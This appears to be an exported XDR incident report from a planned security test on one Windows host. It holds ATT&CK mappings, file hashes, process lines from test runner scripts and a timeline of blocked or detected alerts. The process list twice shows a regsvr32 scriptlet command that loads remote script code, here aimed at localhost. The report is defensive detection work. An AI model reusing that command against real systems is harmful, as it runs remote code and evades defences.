HIGH 'Masquerading - 221297964' along with 15 other issues

RESOLVED SECURITY TESTING ID: #16 | Created: 2026-01-01 06:19:36
XDR Console
16
Alerts
1
Hosts
24
Files
0
Network
Incident Overview

'Masquerading - 221297964' along with 15 other issues generated by XDR Agent and XDR BIOC detected on host desktop-fnumv3u involving 2 users

16
2026-01-01 06:47
Unassigned
XDR Agent, XDR BIOC
Malware Credential Access Execution
Affected Hosts & Users
user desktop-fnumv3u\user
MITRE ATT&CK Mapping
TA0005 - Defense Evasion TA0006 - Credential Access TA0011 - Command and Control TA0002 - Execution
T1059 - Command and Scripting Interpreter T1218.005 - System Binary Proxy Execution: Mshta T1003.002 - OS Credential Dumping: Security Account Manager T1003 - OS Credential Dumping T1071.001 - Application Layer Protocol: Web Protocols T1140 - Deobfuscate/Decode Files or Information T1036.005 - Masquerading: Match Legitimate Resource Name or Location T1059.001 - Command and Scripting Interpreter: PowerShell T1218.010 - System Binary Proxy Execution: Regsvr32 T1059.003 - Command and Scripting Interpreter: Windows Command Shell T1218.007 - System Binary Proxy Execution: Msiexec T1102.002 - Web Service: Bidirectional Communication
File Artifacts 24
File Name Path SHA256 Signature Verdict Actions
MegaGenerator.exe - 8b13dc94b8bb83116e6a44d654858757b82ccd3c9de9aa378796cfe5760fb88c SIGNATURE_UNSIGNED UNKNOWN VT
cmd.exe - badf4752413cb0cbdc03fb95820ca167f0cdc63b597ccdb5ef43111180e088b0 SIGNATURE_SIGNED UNKNOWN VT
conhost.exe - b02ee54fb2ec69673386d41119ee8ed083a6eab3bfca6aa2155d20ce68ef8963 SIGNATURE_SIGNED UNKNOWN VT
UltimateXdrGenerator.exe - 82fabb35db24a714b179c912f8c0cb90ef174c8db9d6c5bbc59346da7478d82d SIGNATURE_UNSIGNED UNKNOWN VT
chcp.com - f596974158428e42aa47e9eddccb5a854f20cbd2df9d0c044093f38514c56328 SIGNATURE_SIGNED UNKNOWN VT
HOSTNAME.EXE - a90c3fb350a11c6f6a6efa9607987d924d1de65e09ca9faf2e0e0e00531ee335 SIGNATURE_SIGNED UNKNOWN VT
mshta.exe - f8a2fd36fdc35aa8e7e678576a2ecc5d7b3fe6383e73101508e5d7b49443d153 SIGNATURE_SIGNED UNKNOWN VT
powershell.exe - 9785001b0dcf755eddb8af294a373c0b87b2498660f724e76c4d53f9c217c7a3 SIGNATURE_SIGNED UNKNOWN VT
cscript.exe - 71864a482441889e8a32acead423cf2cefa982695dedc98cc8eb11b78335a5db SIGNATURE_SIGNED UNKNOWN VT
reg.exe - c0e25b1f9b22de445298c1e96ddfcead265ca030fa6626f61a4a4786cc4a3b7d SIGNATURE_SIGNED UNKNOWN VT
wscript.exe - 40d9518bf166d1d94b4d60dfe40efb06d2dd92e1ca6d9ab1a4d2b8ccc49da532 SIGNATURE_SIGNED UNKNOWN VT
certutil.exe - fd1670b43e2d9188b12b233780bf043c5a90a67a2c6e3fcdc564a5c246531bc2 SIGNATURE_SIGNED UNKNOWN VT
regsvr32.exe - 022cb167a29a32dae848be91aef721c74f1975af151807dafcc5ed832db246b7 SIGNATURE_SIGNED UNKNOWN VT
VaultCmd.exe - edc1b6a3e4fde216a323329e35f4192b0f49bc68285ee67036deff9e94c4e33a SIGNATURE_SIGNED UNKNOWN VT
WMIC.exe - da603fa720ab43aa6d4d36aa9fdb828dab9645523eabaac209af6451d5b4d757 SIGNATURE_SIGNED UNKNOWN VT
cmdkey.exe - 14bcc1901c5cca8e91a6400050308752916ac861bdd52cf3a44dc7ef46830282 SIGNATURE_SIGNED UNKNOWN VT
python.exe - 467014615a5255aca450ae88100dd2caf887da87657f00e3c2171ec44a685aec SIGNATURE_SIGNED UNKNOWN VT
systeminfo.exe - 6f87caa51bdea802045bb281fc2686a3c76364c26a3ffe6c2ccac4af5f9db37b SIGNATURE_SIGNED UNKNOWN VT
sc.exe - 41f067c3a11b02fe39947f9eba68ae5c7cb5bd1872a6009a4cd1506554a9aba9 SIGNATURE_SIGNED UNKNOWN VT
WindowsTerminal.exe - aba55eb3398b290ebd93ae83b34a9e51d6b5763ac8c0172b39e8a4b6f53b9f8d SIGNATURE_SIGNED UNKNOWN VT
msiexec.exe - d53e90af814f61e09bff87a883a3b0dcb7dcf883f17a2425a62a2d4b5a9407fb SIGNATURE_SIGNED UNKNOWN VT
OpenConsole.exe - 6b2915a9a91c0738346a6c6a7b3ee2b74e26582b0c92b1b16066e72570dddd68 SIGNATURE_SIGNED UNKNOWN VT
pwsh.exe - a7ad362b22e0e289772cccf78c7af3b99e32f3084e675392e4a9ffddf380bf05 SIGNATURE_SIGNED UNKNOWN VT
timeout.exe - c8c350fab1130644536db6a84f605791367308b995079ad494d46a8c617c21d6 SIGNATURE_SIGNED UNKNOWN VT
Network Artifacts 0
No network artifacts found for this incident
Process Artifacts 16
Process Command Line Parent Process User
cmd.exe C:\WINDOWS\SYSTEM32\cmd.exe /c ""C:\app\cortex-xdr-siem-test\xdr_mega_runner.bat... cmd.exe User
WindowsTerminal.exe "C:\Program Files\WindowsApps\Microsoft.WindowsTerminal_1.23.13503.0_x64__8wekyb... WindowsTerminal.exe User
UltimateXdrGenerator.exe "C:\app\cortex-xdr-siem-test\xdr_tools\UltimateXdrGenerator\bin\publish\Ultimate... cmd.exe DESKTOP-FNUMV3U\User
cmd.exe C:\WINDOWS\SYSTEM32\cmd.exe /c ""C:\app\cortex-xdr-siem-test\xdr_mega_runner.bat... cmd.exe User
cmd.exe C:\WINDOWS\SYSTEM32\cmd.exe /c ""C:\app\cortex-xdr-siem-test\xdr_mega_runner.bat... cmd.exe User
cmd.exe "cmd.exe" /c regsvr32 /s /n /u /i:http://127.0.0.1/test.sct scrobj.dll cmd.exe DESKTOP-FNUMV3U\User
cmd.exe "cmd.exe" /c regsvr32 /s /n /u /i:http://127.0.0.1/test.sct scrobj.dll cmd.exe DESKTOP-FNUMV3U\User
UltimateXdrGenerator.exe "C:\app\cortex-xdr-siem-test\xdr_tools\UltimateXdrGenerator\bin\publish\Ultimate... cmd.exe DESKTOP-FNUMV3U\User
cmd.exe C:\WINDOWS\SYSTEM32\cmd.exe /c ""C:\app\cortex-xdr-siem-test\xdr_ultimate_runner... cmd.exe User
cmd.exe C:\WINDOWS\SYSTEM32\cmd.exe /c ""C:\app\cortex-xdr-siem-test\xdr_ultimate_runner... cmd.exe User
cmd.exe C:\WINDOWS\SYSTEM32\cmd.exe /c ""C:\app\cortex-xdr-siem-test\xdr_ultimate_runner... cmd.exe User
cmd.exe C:\WINDOWS\SYSTEM32\cmd.exe /c ""C:\app\cortex-xdr-siem-test\xdr_ultimate_runner... cmd.exe User
cmd.exe C:\WINDOWS\SYSTEM32\cmd.exe /c ""C:\app\cortex-xdr-siem-test\xdr_mega_runner.bat... cmd.exe User
cmd.exe C:\WINDOWS\SYSTEM32\cmd.exe /c ""C:\app\cortex-xdr-siem-test\xdr_mega_runner.bat... cmd.exe User
cmd.exe C:\WINDOWS\SYSTEM32\cmd.exe /c ""C:\app\cortex-xdr-siem-test\xdr_ultimate_runner... cmd.exe User
UltimateXdrGenerator.exe "C:\app\cortex-xdr-siem-test\xdr_tools\UltimateXdrGenerator\bin\publish\Ultimate... cmd.exe DESKTOP-FNUMV3U\User
Registry Artifacts 0
No registry artifacts found for this incident
Analyst Verdict
HIGH
  • Isolate affected endpoints
  • Investigate all related alerts
  • Document findings
Summary
16
Alerts
1
Hosts
24
Files
0
Network
Alert Categories
Malware Credential Access Execution
Timeline
01-01 06:47:01
Incident Modified
Status or details updated
01-01 06:47:01
Incident Resolved
resolved security testing
01-01 06:45:00
Network Connection - 1971152322
high - Prevented (Blocked)
01-01 06:43:24
SYNC - Credential Gathering - 1082701410
high - Prevented (Blocked)
01-01 06:40:11
Suspicious Process Creation
medium - Prevented (Blocked)
01-01 06:34:16
File Drop - 3732557733
high - Prevented (Blocked)
01-01 06:34:15
File Drop - 1815185192
high - Prevented (Blocked)
01-01 06:34:03
Regsvr32 may have run code from an untrusted source
high - Detected
01-01 06:34:01
Suspicious Process Creation
medium - Prevented (Blocked)
01-01 06:33:11
Process calls ActiveX Object with a shell command
medium - Detected
01-01 06:33:11
Protection Against Security Measures Bypass Techniques - 1952317967
high - Detected (Reported)
01-01 06:33:10
Staged Malware Activity - 2394207323
high - Detected (Reported)
01-01 06:33:10
Script Activity - 3055004603
high - Detected (Reported)
01-01 06:33:09
Protection Against Security Measures Bypass Techniques - 1952317967
high - Prevented (Blocked)
01-01 06:23:09
File Drop - 3732557733
high - Prevented (Blocked)
01-01 06:23:09
File Drop - 1815185192
high - Prevented (Blocked)
01-01 06:19:36
Incident Created
#16 - 'Masquerading - 221297964' along with 15 other issues
01-01 06:19:36
MegaGenerator.exe
Verdict: Unknown
01-01 06:19:36
cmd.exe
Verdict: Unknown
01-01 06:19:36
conhost.exe
Verdict: Unknown
01-01 06:19:36
UltimateXdrGenerator.exe
Verdict: Unknown
01-01 06:19:36
chcp.com
Verdict: Unknown
01-01 06:19:36
HOSTNAME.EXE
Verdict: Unknown
01-01 06:19:36
mshta.exe
Verdict: Unknown
01-01 06:19:36
powershell.exe
Verdict: Unknown